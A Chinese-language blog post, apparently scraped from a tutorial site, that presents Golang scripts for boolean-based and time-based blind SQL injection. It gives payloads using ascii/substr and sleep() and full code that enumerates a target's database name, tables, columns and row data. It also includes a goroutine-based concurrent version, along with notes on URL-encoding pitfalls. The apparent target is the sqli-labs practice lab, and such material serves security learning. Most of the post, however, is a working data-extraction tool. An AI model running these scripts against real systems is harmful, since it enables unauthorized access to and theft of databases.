Golang 盲注脚本
Golang 盲注脚本
payload部分
其中脚本最重要的环节就是payload
部分了,需要如何去闭合,如何构造SQL语句来达到判断的效果。(还有如何绕过waf等等。。。)
bool盲注
下面是最基础的布尔型盲注的payload
' and length(database()=n)--+
' and (ascii(substr(database(),1))=110 --+
' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=2 --+
' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=128) --+
' and length((select column_name from information_schema.columns where table_name='emails' limit 0,1))=2--+
' and length((select id from emails limit 0,1)>1)--+
时间盲注
下面是时间盲注的payload
' and sleep(3)--+
' and if(length(database())=8,sleep(3),1)--+
' and if( payload ,sleep(3),1)--+
' and if((ascii(substr(database(),1))=115),sleep(3),1)--
脚本思路
脚本思路也比较简单(只针对GET型注入,POST型同理)
布尔型
对于布尔型盲注,配合构造好的payload
发起GET请求,检查响应体中是否有我们的判断依据。先判断出库名、字段名、表名对应的长度,将其作为参数构造循环,搭配limit
来逐位判断。
package main
import (
"fmt"
"io/ioutil"
"log"
"net/http"
"net/url"
"strings"
)
//发送get请求
func getRequest(payload string) bool{
payload = url.QueryEscape(payload)
resp, err1 := http.Get(urlL + payload)
if err1 != nil {
log.Fatalln(err1)
}
body, err2:= ioutil.ReadAll(resp.Body)
if err2 != nil {
log.Fatalln(err2)
}
defer resp.Body.Close()
if strings.Contains(string(body), "You are in...........") {
return true
}
return false
}
//判断长度的方法
func testLength(payload string) int {
var result int
for i := 0; i < 50; i++ {
payloadDbLength := fmt.Sprintf("' and length(%s)=%d-- ", payload, i)
f := getRequest(payloadDbLength)
if f {
result = i
break
}
}
return result
}
//逐位判断的方法
func testName(payload string, length int) string{
var result string
for i := 1; i <= length; i++ {
for j :=32 ; j <= 128; j++ {
payloadDbName := fmt.Sprintf("' and (ascii(substr(%s,%d))=%d)-- ", payload, i, j)
f := getRequest(payloadDbName)
if f {
result += string(rune(j))
fmt.Println(result)
}
}
}
return result
}
//该方法用于指定字段和表名的判断,需要给定参数表名和字段名
func testContext(tableName, columnName string) {
ctxList := make([]string,0)
for i := 0; i < 50; i++ {
ctxPayload := fmt.Sprintf("(select %s from %s limit %d,1)", columnName, tableName, i)
ctxLength := testLength(ctxPayload)
if ctxLength == 0 {
break
}
ctx := testName(ctxPayload,ctxLength)
ctxList = append(ctxList, ctx)
fmt.Println(ctx)
}
fmt.Println(ctxList)
}
func sqlInjectBaseBool() {
dbPayload := "database()"
dbLength = testLength(dbPayload)
fmt.Println(dbLength)
dbName = testName(dbPayload,dbLength)
test = ""
fmt.Println(dbName)
for i := 0; i < 20; i++ {
tablePayload := fmt.Sprintf("(select table_name from information_schema.tables where table_schema=database() limit %d,1)", i)
tableLength := testLength(tablePayload)
if tableLength == 0 {
break
}
tableName := testName(tablePayload, tableLength)
test = ""
tableList = append(tableList, tableName)
fmt.Println(tableName)
}
fmt.Println(tableList)
//tableList := []string{"emails", "referers", "uagents", "users"}
for _, tableName := range tableList {
columnList := make([]string,0)
fmt.Println(tableName)
for i := 0; i < 20; i++ {
columnPayload := fmt.Sprintf("(select column_name from information_schema.columns where table_name='%s' and table_schema=database() limit %d,1)", tableName, i)
columnLength := testLength(columnPayload)
if columnLength == 0{
break
}
columnName := testName(columnPayload,columnLength)
test = ""
columnList = append(columnList, columnName)
}
tableAndColumns[tableName] = columnList
}
fmt.Println(tableAndColumns)
}
时间型
同上布尔型,发送GET请求,不过判断的依据位服务器的响应时长是否超过了我们sleep()
函数中设定的时间。
package main
import (
"fmt"
"log"
"net/http"
"net/url"
"time"
)
//发送get请求。判断响应时长是否大于预定时间
func getRequestBaseTime(payload string) bool{
payload = url.QueryEscape(payload)
//fmt.Println(payload)
startTime := time.Now()
resp, err1 := http.Get(urlL + payload)
if err1 != nil {
log.Fatalln(err1)
}
defer resp.Body.Close()
endTime := time.Now()
usedTime := endTime.Sub(startTime)
if usedTime >= 3 * time.Second {
return true
}
return false
}
//判断长度的方法
func testLengthBaseTime(payload string) int {
var result int
for i := 0; i < 50; i++ {
payloadDbLength := fmt.Sprintf("' and if(length(%s)=%d,sleep(3),1)-- ", payload, i)
f := getRequestBaseTime(payloadDbLength)
if f {
result = i
break
}
}
return result
}
//判断表名、库名等的方法
func testNameBaseTime(payload string, length int) string{
var result string
for i := 1; i <= length; i++ {
for j :=32 ; j <= 128; j++ {
payloadDbName := fmt.Sprintf("' and if((ascii(substr(%s,%d))=%d),sleep(3),1)-- ", payload, i, j)
f := getRequestBaseTime(payloadDbName)
if f {
result += string(rune(j))
fmt.Println(result)
}
}
}
return result
}
func sqlInjectBaseTime() {
dbPayload := "database()"
dbLength = testLengthBaseTime(dbPayload)
fmt.Println(dbLength)
dbName = testNameBaseTime(dbPayload,dbLength)
test = ""
fmt.Println(dbName)
for i := 0; i < 20; i++ {
tablePayload := fmt.Sprintf("(select table_name from information_schema.tables where table_schema=database() limit %d,1)", i)
tableLength := testLength(tablePayload)
if tableLength == 0 {
break
}
tableName := testNameBaseTime(tablePayload, tableLength)
test = ""
tableList = append(tableList, tableName)
fmt.Println(tableName)
}
fmt.Println(tableList)
//tableList := []string{"emails", "referers", "uagents", "users"}
for _, tableName := range tableList {
columnList := make([]string,0)
fmt.Println(tableName)
for i := 0; i < 20; i++ {
columnPayload := fmt.Sprintf("(select column_name from information_schema.columns where table_name='%s' and table_schema=database() limit %d,1)", tableName, i)
columnLength := testLengthBaseTime(columnPayload)
if columnLength == 0{
break
}
columnName := testNameBaseTime(columnPayload,columnLength)
test = ""
columnList = append(columnList, columnName)
}
tableAndColumns[tableName] = columnList
}
fmt.Println(tableAndColumns)
}
关于并发
下面代码是对布尔型盲注的并发代码。时间上大概会快一倍。
在逐位进行猜解时,通过循环添加工人(添加线程),对ascii值进行多线程的判断。
逻辑也比较简单,时间盲注也可以使用此逻辑。。
但是仍存在问题没有解决:程序刚开始执行速度很快,但是到后面速度会下降到与不并发一样。。不太理解这里存在的问题。。。
package main
import (
"fmt"
"sync"
)
func sqlInject() {
dbPayload := "database()"
dbLength = testLength(dbPayload)
fmt.Println(dbLength)
dbName = testWorker(dbPayload,dbLength)
test = ""
fmt.Println(dbName)
for i := 0; i < 20; i++ {
tablePayload := fmt.Sprintf("(select table_name from information_schema.tables where table_schema=database() limit %d,1)", i)
tableLength := testLength(tablePayload)
if tableLength == 0 {
break
}
tableName := testWorker(tablePayload, tableLength)
test = ""
tableList = append(tableList, tableName)
fmt.Println(tableName)
}
fmt.Println(tableList)
//tableList := []string{"emails", "referers", "uagents", "users"}
for _, tableName := range tableList {
columnList := make([]string,0)
fmt.Println(tableName)
for i := 0; i < 20; i++ {
columnPayload := fmt.Sprintf("(select column_name from information_schema.columns where table_name='%s' and table_schema=database() limit %d,1)", tableName, i)
columnLength := testLength(columnPayload)
if columnLength == 0{
break
}
columnName := testWorker(columnPayload,columnLength)
test = ""
columnList = append(columnList, columnName)
}
tableAndColumns[tableName] = columnList
}
fmt.Println(tableAndColumns)
}
//工人函数,从asciiCode这个通道内取出数据来判断。。
func worker(asciiCode chan int, payload string, i int, wg *sync.WaitGroup) {
for code := range asciiCode {
payloadDbName := fmt.Sprintf("' and (ascii(substr(%s,%d))=%d)-- ", payload, i, code)
f := getRequest(payloadDbName)
if f {
test += string(rune(code))
fmt.Println(test)
//close(asciiCode)
}
wg.Done()
}
}
func testWorker(payload string, length int) string{
//var result string
var wg sync.WaitGroup
for j := 1; j <= length; j++ {
//缓冲通道的容量也可以设置的大一些,可以稍微提升性能。
asciiCode := make(chan int,10)
for i := 0; i < 10; i++ {
go worker(asciiCode, payload, j, &wg)
}
for i := 32; i <= 128; i++{
wg.Add(1)
asciiCode <- i
}
wg.Wait()
close(asciiCode)
}
return test
}
踩坑
发起的GET请求中,URL字符串必须先进行编码。
如果直接使用GO的方法发起请求,由于字符串时没有经过编码处理的,特殊符号无法被服务器识别,就会产生400报错。
可以先手工对要发起的请求进行URL编码,也可以使用url.QueryEscape()
。
当你使用此函数时,会返回一个经过编码的字符串,其中所有的特殊符号都会经过编码。但是通常注入时,在URL中输入的+
会被认为是一个空格。所以在payload中需要把+
号换成空格。
Golang 盲注脚本的更多相关文章
- 利用java编写的盲注脚本
之前在网上见到一个盲注的题目,正好闲来无事,便用java写了个盲注脚本,并记录下过程中的坑 题目源码: <?php header("Content-Type: text/html;ch ...
- WEB安全 ACCESS 注入、盲注脚本
http://www.xxx.cn/cp.asp?classid=3http://www.xxx.cn/cp.asp?classid=3 and //有拦截关键字http://www.xxx.cn/c ...
- 盲注脚本2.基于bool
盲注脚本2.基于bool #!/usr/bin/env python #encoding:utf-8 #by i3ekr #using # python sqlinject.py -D "数 ...
- 动态调试|Maccms SQL 注入分析(附注入盲注脚本)
0x01 前言 已经有一周没发表文章了,一个朋友叫我研究maccms的代码审计,碰到这个注入的漏洞挺有趣的,就在此写一篇分析文. 0x02 环境 Web: phpstudySystem: Window ...
- 【Python】测试布尔型盲注脚本
sqli-labs第八关:单引号布尔型盲注,手工测出database长度,个人觉得手工比较快 然后使用脚本测database内容,这个脚本就比手工快多了,脚本内容如下: import sys impo ...
- 用python写一个自动化盲注脚本
前言 当我们进行SQL注入攻击时,当发现无法进行union注入或者报错等注入,那么,就需要考虑盲注了,当我们进行盲注时,需要通过页面的反馈(布尔盲注)或者相应时间(时间盲注),来一个字符一个字符的进行 ...
- 时间盲注脚本.py
时间盲注脚本 #!/usr/bin/env python # -*- coding: utf-8 -*- import requests import time payloads = 'abcdefg ...
- PHP正则表达式二分法实现mysql盲注脚本
$sUrl = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'; $sPost = 'inject=Inject&injection='; $sCharset = 'AB ...
- 实验吧之【who are you?】(时间盲注)补充
第二种方法 使用brup进行盲注 也是一个道理 不多贴了 这里提一下 burp怎么判断超时 Options->Connections->Tiimeouts->Normal这一空 ...
随机推荐
- CTF中常见密码学
前言 参考,我们任课老师的WORD和PPT,结合自己的理解,在结合网上文章的理解. 一.BASE64编码 BASE64编码中,特征和所拥有的字符字母:A-Z a-z;数字:0-9;符号:+ / ,然后 ...
- 69. Sqrt(x) - LeetCode
Question 69. Sqrt(x) Solution 题目大意: 求一个数的平方根 思路: 二分查找 Python实现: def sqrt(x): l = 0 r = x + 1 while l ...
- node-sass,sass-loader和node之间的关系
vue-cli运行在node平台上scss语言是运行在 node-sass平台上node-sass的运行环境是node平台vue-cli工程中不识别scss语法,.scss模块,sass-loader ...
- Python模块Ⅰ
Python模块Ⅰ part1 模块的定义/取别名 自定义模块 什么是模块:模块的本质就是.py文件,封装语句的最小单位 模块中出现的变量,for循环,if结构,函数定义...称为模块成员 模块的运行 ...
- vue新手入门之使用vue框架搭建用户登录注册案例,手动搭建webpack+Vue项目(附源码,图文详解,亲测有效)
前言 本篇随笔主要写了手动搭建一个webpack+Vue项目,掌握相关loader的安装与使用,包括css-loader.style-loader.vue-loader.url-loader.sass ...
- 【Windbg】记一次线程卡主的问题
测试告诉我们定时任务没有执行了,排查相关日志,只有开始执行,没有执行结束.估计是什么地方卡主了. 所以dump分析日志 先检查一下加载情况 !eeversion 线程卡主了,先看线程 !runaway ...
- SpringBoot Restful 接口实现
目录 SpringBoot 核心注解 SpringBoot Restful 接口实现 封装响应数据 SpringBoot 核心注解 SpringBoot 基础入门 注解 说明 Component 声明 ...
- Charles如何抓取https请求-移动端+PC端
Charles安装完成,默认只能抓取到http请求,如果查看https请求,会显示unkonw或其它之类的响应.所以需要先进行一些配置,才能抓取到完整的https请求信息.下面针对PC端和手机端抓包的 ...
- redis如何实现数据同步
redis如何实现数据同步 两种,1全同步,2部分同步 全备份: 在slave启动时会向master发送sync消息,master收到slave这条消息之后,将启动后台备份进程,备份完成之后,将备份数 ...
- 当JAVA注解、AOP、SpEL相遇,更多可能变为了现实
常规情况下,我们可以通过业务定制化的注解,借助AOP机制来实现某些通用的处理策略.比如定义个@Permission注解,可以用于标识在具体的方法上,然后用来指定某个方法必须要指定角色的人才能够访问调用 ...